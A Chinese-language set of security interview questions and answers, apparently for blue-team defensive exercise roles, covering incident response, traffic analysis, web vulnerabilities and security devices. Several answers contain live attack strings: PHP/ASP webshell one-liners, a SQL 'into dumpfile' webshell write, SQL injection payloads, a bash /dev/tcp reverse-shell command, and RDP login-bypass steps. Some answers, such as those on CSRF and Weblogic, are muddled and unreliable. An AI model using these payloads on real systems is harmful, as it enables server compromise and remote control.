WAF,又名Web应用防火墙,能够对常见的网站漏洞攻击进行防护,例如SQL注入、XSS跨站等;目前WAF最基本的防护原理为特征规则匹配,将漏洞特征与设备自身的特征库进行匹配比对,一旦命中,直接阻断,这种方法能够有效防范已知的安全问题,但是需要一个强大的特征库支持,特征库需要保证定期更新及维护;但是对于零日漏洞(未经公开的漏洞),就需要设备建立自学习机制,能够根据网站的正常状态自动学习建立流量模型,以模型为基准判断网站是否遭受攻击。
国内:安恒,绿盟,启明星辰
国外:飞塔,梭子鱼,Imperva.
- Windows组策略,快捷键
组策略(Group Policy)是管理员为用户和计算机定义并控制程序、网络资源及操作系统行为的主要工具。通过使用组策略可以设置各种软件、计算机和用户策略。快捷键 win+R,输入 gpedit.msc
- 一句话木马
黑客用来入侵网站的一小段代码,常常配合中国菜刀,蚁剑使用
- XSS的类型,怎样对XSS防御
XSS跨站脚本攻击类型:反射型,储存型,DOM型。防御措施:对前端输入进行过滤和编码、对特殊字符进行过滤和转义;使用白名单对输入进行限制;对cookie进行http-only的限制(只读);将用户的输入转换成数据
- 如果有往年的护网经历,讲述一下护网的经验
1.1 自检
主要分为外网渗透测试和内网渗透测试两部分,外网和内网渗透测试还不一样,外网需要结合客户相关业务来,比如政企客户你使用WordPress、Drupal的payload去打,不能说百分之百没有,但是成功的概率相当低,要有针对性去测试,因为时间不允许去这么做。
1.1.1 外网渗透测试
外网不是我们的重点,根据实际情况主要关注那些能直接获取主机权限的漏洞和泄漏大量数据的漏洞即可,比如:
弱口令:数据库、SSH、RDP、后台
命令执行:Solr、Jenkins、Weblogic、Struts2、RMI、JBoss、Tomcat、Spring、ActiveMQ、Zabbix
文件操作:文件上传、文件读取
未授权访问:Redis、Hadoop、Docker、K8S
1.1.2 内网渗透测试
内网渗透和外网渗透区别很大,因为外网不仅有我们,还有其他合作伙伴,各种WAF、防火墙、APT、IDS、IPS、以及办公网的EDR、杀毒什么的各种安全设备一顿操作,所以我们此次的重心就是在内网云平台中,我们的靶标当然也在内网云平台中。
加固:
1.2.1 运维相关
1、测试、开发服务器全部关停
2、敏感端口安全组隔离
3、使用堡垒机、跳板机运维
4、用户、权限隔离
这里特别说明下,比如:MySQL不使用默认root用户,使用业务/项目名中间用下划线连接的方式,因为爆破都是默认用户的,这样即使存在弱口令,也将安全性提升一大截
5、认证策略:密钥、双因子认证
6、最小化权限原则
7、补丁
1.2.2 安全设备
这里我们只说下使用了我们云平台的相关产品:
WAF:使用防火墙,防御大多数攻击。
流量、日志、数据库审计:流量、日志、数据库方便万一出现安全事故,能够快速响应,溯源分析找到问题源头
态势感知:这个就不说了。
安骑士:主机安全,能够第一时间发现异常登录、异常进程、异常网络连接、后门、账户等高危安全问题,并且能快速定位问题所在,相当有用。
蜜罐:攻击者进入内网后会进行内网渗透,收集信息,攻击靶标,所以部署蜜罐是发现内网异常的必要手段。主要部署了常用的服务,比如SSH、MySQL、FTP、
MongoDB、Redis、Weblogic、Struts2、Tomcat、Joomla、PostgreSQL、Shellshock、SMB、Memcache、Telnet。
扫描器:由于主机量巨大,手工总会有已漏,所以在不同网段部署扫描器,每天在0点到1点自动开始巡检。
1.2.3 环境隔离
防火墙策略:虽然安全组也可以做,但是内网业务层面还需要在防火墙上做策略。
堡垒机:使用堡垒机是为了保证运维安全,同时保障重要系统及靶标隔离。堡垒机的登录也是有访问控制的,只允许白名单IP访问,同时堡垒机使用强口令+随机KEY登录。
双因子认证:重要系统(控制台,总控系统,运维系统等)有必要的均采用堡垒机登录,无法使用的采用 白名单IP+强口令策略+随机验证码组合策略。
- Linux中挖矿病毒应该如何处理
症状表现
服务器CPU资源使用一直处于100%的状态,通过 top 命令查看,发现可疑进程 kdevtmpfsi。通过 google搜索,发现这是挖矿病毒。(CPU资源占用过高)
排查方法
第一步:查看 kdevtmpfsi 进程,使用 ps -ef | grep kdevtmpfsi 命令查看
PS:通过 ps -ef 命令查出 kdevtmpfsi 进程号,直接 kill -9 进程号并删除 /tmp/kdevtmpfsi 执行文件。但没有过1分钟进程又运行了,这时就能想到,kdevtmpfsi 有守护程序或者有计划任务。通过 crontab -l 查看是否有可疑的计划任务。
第二步:根据上面结果知道 kdevtmpfsi 进程号是 10393,使用 systemctl status 10393 发现 kdevtmpfsi 有守护进程
第三步:kill 掉 kdevtmpfsi 守护进程 kill -9 30903 30904,再 killall -9 kdevtmpfsi 挖矿病毒,最后删除 kdevtmpfsi 执行程序 rm -f /tmp/kdevtmpfsi。
事后检查
通过 find / -name “*kdevtmpfsi*” 命令搜索是否还有 kdevtmpfsi 文件
查看 Linux ssh 登陆审计日志。Centos 与 RedHat 审计日志路径为 /var/log/secure,Ubuntu 与 Debian 审计日志路径为 /var/log/auth.log。
检查 crontab 计划任务是否有可疑任务
后期防护
启用ssh公钥登陆,禁用密码登陆。
云主机:完善安全策略,入口流量,一般只开放 80 443 端口就行,出口流量默认可以不限制,如果有需要根据需求来限制。物理机:可以通过硬件防火墙或者机器上iptables 来开放出入口流量规则。
本机不是直接需要对外提供服务,可以拒绝外网卡入口所有流量,通过 jumper 机器内网登陆业务机器。
公司有能力可以搭建安全扫描服务,定期检查机器上漏洞并修复。
小结:以上例举几点措施,不全。这里只是抛砖引玉的效果,更多的措施需要结合自己业务实际情况,否则就空中楼阁。
- 钓鱼邮件攻击后的处理
钓鱼邮件:邮件钓鱼:首先将被钓的邮箱账号停用,使用管理员账号改密,向通讯录好友发送致歉邮件并说明情况将损失讲到最低,然后扫描漏洞分析被钓的原因,如果是服务器就打补丁,如果是弱口令就改复杂的密码等,在调查是否有后续影响,在针对企业内的员工安全培训,最后产出报告
- 常见的端口号:ftp、ssh、telnet等
ftp:21 ssh:22 telnet:23
- 如何发现Windows的病毒
查看服务器是否存在可疑账号、新增账号
查看服务器是否存在隐藏账号、克隆账号
结合日志,查看管理员登录时间、用户名是否存在异常
检查异常端口、进程
检查端口连接情况,是否有远程连接、可疑连接。
检查服务器是否有异常的启动项。
检查计划任务
服务自启动
查看系统版本以及补丁信息
查找可疑目录及文件
病毒查杀
webshell 查杀
WEB 访问日志
- Csrf和ssrf的攻击原理及如何使用
CSRF是为了防止跨站请求伪造,当用户第一次发请GET请求时后台会给前端发送一个加密字符串,下次用户发请POST请求时就需要带这这个加密字符串发送
CSRF的使用:在setting.py中间件中的django.middleware.csrf.CsrfViewMiddleware来完成这个功能biand form表单发起请求在请求:在表单里面加上{% csrf_token %}就行 ajax的使用:对于某个请求设置,在请求头中加入headers: {‘X-CSRFtoken’: $.cookie(‘csrftoken’)},
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
攻击者利用ssrf可以实现的攻击主要有5种:
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。
Centosof用过没有
Telnet和ssh的区别
Telnet和ssh的区别
telnet是明文传输,ssh是密文传输
- 日志文件了解多少
日志文件是用于记录系统操作事件的记录文件或文件集合,可分为事件日志和消息日志。具有处理历史数据、诊断问题的追踪以及理解系统的活动等重要作用。
- Weblogic最明显的特征是什么
WebLogicServer简化了可移植及可扩展的应用系统的开发,并为其它应用系统和系统提供了丰富的互操作性
- Xxe漏洞是什么,怎么防御
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,
没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、
发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
防御方法:
1.打开php的libxml_disable_entity_loader(ture),不允许加载外部实体。
2.过滤用户提交的xml数据,比如ENTITY,SYSTEM。
- 用过的安全防御工具
Waf firewalld iptables ids ips
- 应急响应都做什么
收集信息,判断类型,深入分析,清理处置,产出报告
- 安全设备都有哪些
安全设备:IDS入侵检测系统、IPS入侵防御系统、防火墙、WAF(web应用防火墙)、漏洞扫描设备、安全隔离网闸、VPN设备、流量监控设备、防病毒网关(防毒墙)
- 护网行动流程
护网行动流程:(一)备战阶段(二)临战阶段(三)决战阶段(四)总结阶段
- Get和post方法的简单区别
1、传送方式:get通过地址栏传输,post通过报文传输。
2、传送长度:get参数有长度限制(受限于url长度),而post无限制
3、GET和POST还有一个重大区别,简单的说:
GET产生一个TCP数据包;POST产生两个TCP数据包
冰蝎,上传木马是加密的,你是怎么发现的,如何解决
安全审计的流程
- 常用中间件的漏洞信息
1.Weblogic常见漏洞
2. Tomcat常见漏洞
3. Nginx常见漏洞
4. JBOSS常见漏洞
- 3389上一年有哪些漏洞
3389漏洞是windows2000server远程桌面的服务端口利用下载的软件远程连接桌面时候通过输入法漏洞绕过系统身份验证并获得管理员权限。漏洞利用:首先下载远程桌面管理工具,网址http://www.bitscn.com/upload/TS.rar,其次连接远程服务器,然后漏洞出现,1.按“Ctrl+Shift”组合键,快速切换至全拼输入法,这时在登录界面左下角将出现输入法状态条。如果没有出现,就有两种可能:
1) 时间问题:服务器的数据流传输有一个延时的过程,需要耐心等待。
2) 操作问题:如果你将鼠标指针点击在了“密码”旁边的空白栏处,输入法状态条是不会出现的,需要将鼠标点击在“用户名”旁边的空白栏。
2.用鼠标右键点击状态条上的微软徽标,选取“帮助”中的“操作指南”,在“输入法操作指南”的左上角点击鼠标右键,在弹出的菜单中选择“跳至URL(J)…”。接下来你将会看到Windows 2000的系统安装路径和要求填入路径的窗口。
- Cookie和session的区别
cookie 和session的区别是:cookie数据保存在客户端,session数据保存在服务器端。两个都可以用来存私密的东西,同样也都有有效期的说法,区别在于session是放在服务器上的,过期与否取决于服务期的设定,cookie是存在客户端的,过去与否可以在cookie生成的时候设置进去。
- 了解哪些常见漏洞
1.sql注入漏洞 2.跨站脚本漏洞 3.弱口令漏洞 4.文件上传漏洞 5.敏感信息泄露漏洞
- 内网横行移动攻击,怎么发现并解决
域内横向移动投不定在夏杂的内网攻击中被广泛使用的一种技术,尤其是在高级持续威胁(Advanced Persistent Threats,APT中。攻击者会利用该技术,以被攻陷的系统为跳板,访问其他域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)。
通过此类攻击手段,攻击者最终可能获取域控制器的访问权限,甚至完全控制基于Windows操作系统的基础设施和与业务相关的关键账户。因此,必须使用强口令来保护特权用户不被用于横向移动攻击,从而避免域内其他机器沦陷。建议系统管理员定期修改密码,从而使攻击者获取的权限失效。
- 腾讯御点是什么防火墙
腾讯御点终端安全管理系统是企业级用户的私有云防病毒和漏洞修复解决方案
- 文件上传漏洞上传到后端怎么发现
用wireshark进行流量分析
- Nmap有几种扫描模式
nmap -SP ip 0/24 批量扫描一个网段的存活主机
nmap -sP ip.1-10 指定一个 IP 地址范围
nmap -sT 192.168.0.3 开放了哪些端口
nmap -sS 192.168.0.127 开放了哪些端口(隐蔽扫描)
nmap -sU 192.168.0.127 开放了哪些端口(UDP)
nmap -sS -O 192.168.0.127 操作系统识别
- Apt的攻击模型
从本质上讲,APT攻击并没有任何崭新的攻击手段,比如0 Day,比如钓鱼邮件,比如社工,比如木马,比如DDOS,都是存在已久的攻击手段,它只是多种攻击手段的战术性综合利用而已。
在宏观特点上应该具备如下特征:
高度目的性
高度隐蔽性
高度突然性
高度规模性
高度危害性
高度复合性
共时并发性
目标实体化
攻击非对称化
- 你常用的渗透工具
AppScan、MSF、Burp Suite、Nmap、Sqlmap、Cobalt、Strike等
- 系统中了永恒之蓝病毒怎么办
更新系统补丁
- 如何绕过web网站限制进行sql注入
POST注入,通用防注入一般限制get,但是有时候不限制post或者限制的很少,这时候你就可以试下post注入,比如登录框、搜索框、投票框这类的。另外,在asp中post已被发扬光大,程序员喜欢用receive来接受数据,这就造成了很多时候get传递的参数通过post/cookie也能传递,这时如果恰好防注入程序只限制了get,因此post注入不解释
cookie注入,原理同post注入,绕过相当多通用防注入
- 命令执行漏洞怎么发现
通过nessus扫描器的Sitemap模块,发现了可疑目录 ,根据sitemap的目录信息,打开URL:http://x.x.x.x:28076/file/,发现存在未授权访问漏洞,逐个查看里面的文件,蒙了一下dirFiles.jsp的 参数,使用"path"作为参数名可列出目录、文件信息,URL,同样的方法,发现show.jsp存在任意文件读取漏洞。修复方法:严格控制文件名参数值,先判断文件名或文件路径是否合法可修复漏洞
- 怎么区分一句话木马的类型
php 的一句话木马:
<?php @eval($\\\_POST\\\['pass'\\\]);?>asp 的一句话是:
<%eval request (“pass”)%>
aspx 的一句话是:
<%@ Page Language=“Jscript”%> <%eval(Request.Item[“pass”],“unsafe”);%>
- 文件上传漏洞的原理及防御方法
Web应用程序通常会有文件上传的功能, 例如在 BBS发布图片 , 在个人网站发布ZIP 压缩 包, 在办公平台发布DOC文件等 , 只要 Web应用程序允许上传文件, 就有可能存在文件上传漏 洞.
大部分文件上传漏洞的产生是因为Web应用程序没有对上传文件的格式进行严格过滤 , 还有一部分是攻击者通过 Web服务器的解析漏洞来突破Web应用程序的防护, 后面我们会讲 到一些常见的解析漏洞, 最后还有一些不常见的其他漏洞, 如 IIS PUT 漏洞等
解决方法:设置黑名单和白名单
1、JNI 函数在 java 中函数名为 com.didi.security.main,C 中的函数名是什么样的?
com_didi_security_mian
java.com.didi.security.main
2、Frida 和 Xposed 框架?
3、SSRF 利用方式?
4、宏病毒?
5、APP 加壳?
6、勒索软件 Wanacry 的特征?蠕虫、僵尸病毒
7、ARM32 位指令中,返回值和返回地址保存在哪个寄存器中?
8、HTTPS 握手过程中用到哪些技术?
9、
Linux 中 PHP 环境,已知 disable_functions=exec,passthrupopen,proc_open,shell_exec,system,
请写出两种有可能实现任意命令执行的方式?
10、Android APP 逆向分析步骤一般是怎么样的?
一开始会问问你在工作中负责的是什么工作(如果在职),参与过哪些项目。还有些会问问
你之前有没有护网的经历,如果没有的话一般都会被定到初级(技术特牛的另说)。下面就
是一些技术上的问题了
11、sql 注入 的分类?
Boolean 盲注、Union 注入、文件读写、 报错注入{ floor 报错注入、ExtractValue 报错注入、
UpdataXml 报错注入}
、时间盲注、REGEXP 正则匹配、宽字节注入、堆叠注入、二次注入、User-Agent 注入、Cookie
注入、过滤绕过、万能密码
12、sql 注入的预防?
预编译
PDO
正则表达式过滤
13、序列化与反序列化的区别
序列化:把对象转化为可传输的字节序列过程称为序列化。
反序列化:把字节序列还原为对象的过程称为反序列化。
14、常见的中间件漏洞?
IIS
PUT 漏洞、短文件名猜解、远程代码执行、解析漏洞
Apache
解析漏洞、目录遍历
Nginx
文件解析、目录遍历、CRLF 注入、目录穿越
Tomcat
远程代码执行、war 后门文件部署
JBoss
反序列化漏洞、war 后门文件部署
WebLogic 反序列化漏洞
SSRF 任意文件上传
war 后门文件部署
Apache Shiro 反序列化漏洞
Shiro rememberMe(
Shiro-550)
Shiro Padding Oracle Attack(Shiro-721)
15、内网渗透思路?
代理穿透
权限维持
内网信息收集
口令爆破
凭据窃取
社工
横行和纵向渗透
拿下域控
16、OWASP Top10 有哪些漏洞
SQL 注入
失效的身份认证
敏感数据泄露
XML 外部实体(
XXE)
失效的访问控制
安全配置错误
跨站脚本(
XSS)
不安全的反序列化
使用含有已知漏洞的组件
不足的日志记录和监控
17、正向代理和反向代理的区别
正向代理,当客户端无法访问外部资源的时候(比如 Google、YouTube),可以通过一个正
向代理去间接地访问。
正向代理是一个位于客户端和原始服务器(origin server)之间的服务器,为了从原始服务器取
得内容,客户端向代理
发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返
回给客户端。
反向代理,客户端是无感知代理的存在,以代理服务器来接受 internet 上的连接请求,然后
将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给 internet 上请求连接
的客户端。此时代理服务器对外就表现为一个服务器。
18、蚁剑/菜刀/C 刀/冰蝎的相同与不相同之处
相同:都是用来连接 Web Shell 的工具
不同:相比于其他三款,冰蝎有流量动态加密
19、正向 SHELL 和反向 SHELL 的区别
正向 Shell:攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者
处于公网的情况。
反向 Shell:被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者
处于内网的情况。
正向代理即是客户端代理, 代理客户端, 服务端不知道实际发起请求的客
户端.
反向代理即是服务端代理, 代理服务端, 客户端不知道实际提供服务的服
务端
20、Windows 提权
提权可分为纵向提权与横向提权:
纵向提权:低权限角色获得高权限角色的权限;
横向提权:获取同级别角色的权限。
21、Windows 常用的提权方法
系统内核溢出漏洞提权
数据库提权
错误的系统配置提权
组策略首选项提权
WEB 中间件漏洞提权
DLL 劫持提权
滥用高危权限令牌提权
第三方软件/服务提权等
22、Linux 提权有哪些方法
Linux 内核漏洞提权
低权限用户目录下可被 Root 权限用户调用的脚本提权(
SUID)
环境变了劫持高权限程序提权
sudoer 配置文件错误提权
23、数据库有哪些,关系型的和非关系型的分别是哪些
关系型
MySQL:3306
SQL Server:1433
Oracle:1521
DB2:5000
MongoDB:27017
非关系型
Redis:6379
Memcached:11211
24、PHP 反序列化
PHP 代码执行的危险函数
call_user_func()
call_user_func_array()
create_function()
array_map()
PHP 命令执行函数
system
shell_exec
passthru
exec
popen
proc_open
putenv
assert
1、自我介绍
面试官您好,我叫xxx,目前在北京泽云安科技有限公司,曾经在某为辰科技做了有1年多的渗透测试,之前接触的项目主要对车联网相关的云平台进行测试,也涉及到(上传、sql注入、xss、越权、弱口令、敏感信息泄漏等一些测试,曾经在2020年参加过中国石化护网蓝队,负责事件研判工作,主要使用 态势感知设备做流量监控与日志分析工作判断安全事件是否为误判,上述就是我的个人介绍
2、护网遇见比较多的报警有那些
弱口令、命令执行、反序列化、任意文件读取、SQL 注入等
3、了解安全设备
IDS ,Waf,奇安信的天眼,深信服的态势感知:综合分析网络安全要素、评估网络安全状况、预测其发展趋势,并以可视化的方式展现给用户,并给出相应的报表和应对措施。
4、如果判断是否成功,怎么判断误判
(1)比如说:攻击方尝试利用现成的「EXP&POC集成脚本工具」对资产目标进行检测扫描,安全设备检测到「攻击尝试行为」中的攻击特征就会产生告警。这种情况下,可以把告警中的URL的“网页状态码”、“页面回显数据”作为「误报告警」判断
真实攻击不可能只持续一次,它一定是长时间、周期性、多 IP 的进行攻击
(2)判断攻击
使用态势感知安全设备检测到来自外部或内部的「攻击尝试行为」就会触发告警,
需要对告警日志进行研判分析,从其中找出「真实有效」的攻击事件。
5、如果攻击成功应该怎么做
应急响应
基本思路流程#
收集信息:收集客户信息和中毒主机信息,包括样本
判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS 等等
抑制范围:隔离使受害⾯不继续扩⼤
深入分析:日志分析、进程分析、启动项分析、样本分析方便后期溯源
清理处置:杀掉进程,删除文件,打补丁,删除异常系统服务,清除后门账号防止事件扩大,处理完毕后恢复生产
产出报告:整理并输出完整的安全事件报告
6、怎么溯源
1.攻击源捕获
安全设备报警,如扫描IP、威胁阻断、病毒木马、入侵事件等
日志与流量分析,异常的通讯流量、攻击源与攻击目标等
服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等
邮件钓鱼,获取恶意文件样本、钓鱼网站 URL 等
蜜罐系统,获取攻击者 ID、电脑信息、浏览器指纹、行为、意图的相关信息
2.溯源反制手段#
IP 定位技术
根据IP定位物理地址–代理 IP
溯源案例:通过 IP 端口扫描,反向渗透服务器进行分析,最终定位到攻击者相关信息ID 追踪术
ID 追踪术,搜索引擎、社交平台、技术论坛、社工库匹配
溯源案例:利用 ID 从技术论坛追溯邮箱,继续通过邮箱反追踪真实姓名,通过姓名找到相关简历信息网站 url
域名 Whois 查询–注册人姓名、地址、电话和邮箱 --域名隐私保护
溯源案例:通过攻击 IP 历史解析记录/域名,对域名注册信息进行溯源分析恶意样本分析
提取样本特征、用户名、ID、邮箱、C2 服务器等信息–同源分析
溯源案例:样本分析过程中,发现攻击者的个人 ID 和 QQ,成功定位到攻击者社交账号
基于 JSONP 跨域,获取攻击者的主机信息、浏览器信息、真实 IP 及社交信息等
利用条件:可以找到相关社交网站的 jsonp 接口泄露敏感信息,相关网站登录未注销3.攻击者画像#
- 攻击路径
攻击目的:拿到权限、窃取数据、获取利益、DDOS 等
网络代理:代理 IP、跳板机、C2 服务器等
攻击手法:鱼叉式邮件钓鱼、Web渗透、水坑攻击、近源渗透、社会工程等
- 攻击者身份画像
虚拟身份:ID、昵称、网名
真实身份:姓名、物理位置
联系方式:手机号、qq/微信、邮箱
组织情况:单位名称、职位信息7、怎么研判
研判工作要充分利用已有安全设备(需要提前了解客户的网络拓扑以及部署设备情况),分析其近期的设备告警,将全部流量日志(日志条件:源地址,目的地址,端口,事件名称,时间,规则 ID,发生 次数等)根据研判标准进行筛选(像挖矿、蠕虫、病毒、拒绝服务这类不太可能为攻击方发起的攻击的事件,直接过滤掉,减少告警数量),一般情况下,真实攻击不可能只持续一次,它一定是长时间、周期性、多 IP 的进行攻击
对于告警结合威胁情报库如:微步、奇安信威胁情报中心、绿盟威胁情报云等对于流量日志的原 IP 地址进行分析,判断其是否为恶意攻击,推荐使用微步的插件,如果确认为攻击行为或者不能确认是否为攻击行为,进行下一步操作,在之前准备好的表格中查找 IP 是否为客户内网部署的设备,如果不是,继续进行下一步,在事件上报平台查看是否有其他人提交过,如果没有,则上报
然后根据流量日志,对请求数据包和返回数据包分析判断其是否为误报,需要留意 X-Forwarded-For(简称XFF)和 x-real-ip,尤其是免杀 webshell,有可能不会被设备识别
8、上报
最后上报事件时,尽可能提供完整的截图,包括源 ip、目的ip,请求包请求体,响应包响应体等重要信息,以方便后续人员研判溯源
注:不要任意忽略内网告警,适当情况下可以往前推排查时间
9、有没有通过流量分析工具,怎么用,命令有啥。
Wireshark抓包工具:
主要抓取报文,然后对报文进行过滤
Linux常用排查命令
系统信息
查看当前系统状态 top
操作系统信息 uname -a
查看当前系统进程信息 ps
查看历史命令 history
列出本机所有的连接和监听的端口 netstat
查看谁在使用某个端口 lsof
用户登录
查看当前用户登录系统情况 who
分析超级权限账户 awk-F:‘{if($3==0)print $1}’/etc/passwd
查看可登录的账户 cat/etc/passwd|grep ‘/bin/bash’
查看用户错误的登录信息 lastb
查看所有用户最后的登录信息 lastlog
查看用户最近登录信息 last
/var/log/ 其中,/var/log/wtmp 存储登录成功的信息、btmp存储登录失败的信息、utmp存储当前正在登录的信息
- 查看空口令账户 awk-F:‘length($2)==0 {print $1}’/etc/shadow
10、流量分析
wireshark简单的过滤规则
过滤ip:
过滤源ip地址:ip.src1.1.1.1;,目的ip地址:ip.dst1.1.1.1;
过滤端口:
过滤80端口:tcp.port80,源端口:tcp.srcport80,目的端口:tcp.dstport==80
协议过滤:
直接输入协议名即可,如http协议http
http模式过滤:
过滤get/post包http.request.mothod==“GET/POST”
11、数据包或者日志,你的分析思路是什么
流量数据包或者是日志分析
用流量监测的安全设备,比如天眼,查看报文,分析报文里的 host 和网站目录路径,查看是否可疑,使用微步查询 host 是否为恶意,使用 wireshark 对数据包深度分析
看一下请求的网站路径,源 IP 与目的 IP 地址,host 字段的值以及发包内容等
工具有 wireshark,网站的话微步在线等威胁情报中心
12、溯源过程
一般由监控组发现攻击包,可以从数据包中看到带有攻击特征码的数据包,有 返回结果的回包可以判断是否成功,如果确认成功,就说明该参数有漏洞,首先需 要通过监控设备、中间件日志、系统日志定位该 IP 地址,要知道攻击是怎样进来 的,去服务器排查攻击达到了哪个层面,有 web 层面,系统层面,数据库层面, 应用软件层面,首先排查系统层面有没有弱口令,可疑账号,克隆账号,远程管理 端口是否对公网开放。
web 一般是参数未过滤,看攻击者是否在内网提权进行横向的内网渗透,可以 用一些 360 星图工具排查日志, D 盾安全狗扫一下 web 代码里有没有脚本后门 代码,也可以根据流量监控设备查查攻击者日志及 payload 代码,找到之后通过 bp 还原攻击;
最后修复漏洞,可以将被攻击的 web 页面暂时下线,可以先加相关函数过 滤,之后根据查到的攻击源 IP 和各种信息收集的信息进行社工等 1.22.5 护网遇见比较多的报警有那些 弱口令、命令执行、反序列化、任意文件读取、SQL 注入
13、应急相应思路
【如,业务主站被挂黑页的处理流程及应对方法】
1. 取证,登录服务器,备份,检查服务器敏感目录,查毒(搜索后 门文件 - 注意文件的时间,用户,后缀等属性),调取日志(系统 日志,中间件日志,WAF 日 志等);
2. 处理,恢复备份(快照回滚,最近一次),确定入侵方法(漏洞 检测,并进行修复)
3. 溯源,查入侵 IP,入侵手法(网路攻击事件)的确定等
4. 记录,归档--------预防-事件检测-抑制-根除-恢复-跟踪-记录 通用漏洞的应对等其他安全应急事件
14、Waf和ids、Ips
(1)如果IDS检测到攻击,则IDS可以向防火墙发送命令以阻止特定的数据包。WAF(Web应用程序防火墙)专注于保护网站(或通常的Web应用程序)。它在应用程序层工作以检查HTTP Web流量,以检测针对网站的恶意攻击。
(2)WAF将检测SQL注入攻击,跨站点脚本,Javascript攻击,RFI / LFI攻击等。
由于当今大多数网站都使用SSL(HTTP),因此WAF还可以通过终止SSL会话并在WAF本身上检查连接内部的流量来提供SSL加速和SSL检查。
(3)IPS (Intrusion Prevention System) 入侵预防系统
IPS是对防病毒软件和防火墙的补充,入侵预防系统是一部能够监视网络或网络设备的网络资料传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络资料传输行为。
【2】对Waf的了解
Web基础防护
可防范常规的 web 应用攻击,如 SQL 注入攻击、XSS 跨站攻击等,可检测 webshell,检查 HTTP 上传通道中的网页木马,打开开关即实时生效
IP 黑白名单
添加终拦截与始终放行的黑白名单 IP,增加防御准确性
网站反爬虫
动态分析网站业务模型,结合人机识别技术和数据风控手段,精准识别爬虫行为
误报屏蔽
针对特定请求忽略某些攻击检测规则,用于处理误报事件
15、判断事件误报 sql注入数据包里面怎么判断是否是真实
and1等于1 or1等于1
16、webshell上传 上传成功了怎么查看
通常将js、asp或者php后门文件与web目录下正常的网页文件混在一起,然后可以使用浏览器或者冰蝎等常见工具进行访问,从而控制网站服务器的目的。如发现后台目录有文件上传,用御剑进行扫描:找到有用的目录,可以看到上传页面,然后再进行bp抓包扫出来的这个目录,然后再进行流量数据包或者是日志分析
17、冰蝎流量特征
http 包头中,content-type 为 application/octet-stream 强行特征码
冰蝎 3.0 内置的默认 16 个 userAgent,可以作为 waf 规则特征。
(2)冰蝎连接之后看哪个字段判断成功?
不清楚
我一般都是用哥斯拉
webshell工具
在代码中会存在eval或assert等字符特征
18、横向渗透攻击
如果检测到用户账户来自于不正常或非授权系统,或者在不正常或非授权系统中使用,我们判断这种情况下存在横向渗透攻击”。
1、漏洞方面主要问的sql注入
(1)如何判断sql注入,有哪些方法
提交错误语句是否有异常,除此之外这些显示的错误可以通过sleep,修眠语句执行5秒等,除此之外通过DNSlog判断是还有传回值
(2)如何判断 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?
select * from news where id = ‘$SQL’;
当程序执行访问新闻等一些操作都会执行到sql语句进行调用,如果在此调用过程中,提交了不合法的数据,而数据库无法识别则会报错。也就是一切输入都是有害的。
注入类型有6种,可以参考SQLMAP,报错、盲注、联合、时间、内联、堆叠
注入提交方式:GET、POST、Cookies、文件头
利用方式:具体看什么数据库类型,像SQLSERVER可以命令执行,MYSQL写shell有些权限大也可以执行命令但是条件是在lINUX环境下。
防范:边界,CDN -> 脚本语言过滤 -> 数据库过滤最小权限 -> 主机
(3)sql注入的几种类型?
1)报错注入
2)bool型注入
3)延时注入
4)宽字节注入【1】报错注入的函数有哪些?10个
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】2)通过floor报错 向下取整3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));10).exp()select from test where id=1 and exp(~(select * from(select user())a));
【2】延时注入如何来判断?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
【3】盲注和延时注入的共同点?
都是一个字符一个字符的判断
【4】sql注入写文件都有哪些函数?
select ‘一句话’ into outfile '路径’select ‘一句话’ into dumpfile '路径’select ‘<?php eval($\\\_POST\\\[1\\\]) ?>’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;
2、问了rce没有回显怎么办
反弹shell,在无回显的RCE中,我们输入的命令是执行了的,只是不给我们显示出来,我们可以输入用来反弹shell的命令来拿到对方服务器的权限。输入bash -i >& /dev/tcp/ip/port 0>&1 这个命令,通过自己服务器来对对方服务器进行查询,这时候就不会有过滤限制和无回显的限制了。
3、怎么判断是扫描器的流量还是手工扫描的流量
扫描的速度可以参考,是不是脚本扫的,就是流量的速度,一般像sqlmap这种,日志会有这个字段显示的,ua头,扫描量与扫描日志分析
4、了解过哪些安全设备
#防火墙:
1、过滤进、出、网络的数据 2、防止不安全的协议和服务 3、管理进、出网络的访问行为 4、记录通过防火墙的信息内容 5、对网络攻击进行检测与警告 6、防止外部对内部网络信息的获取 7、提供与外部连接的集中管理
#态势感知:流量监测
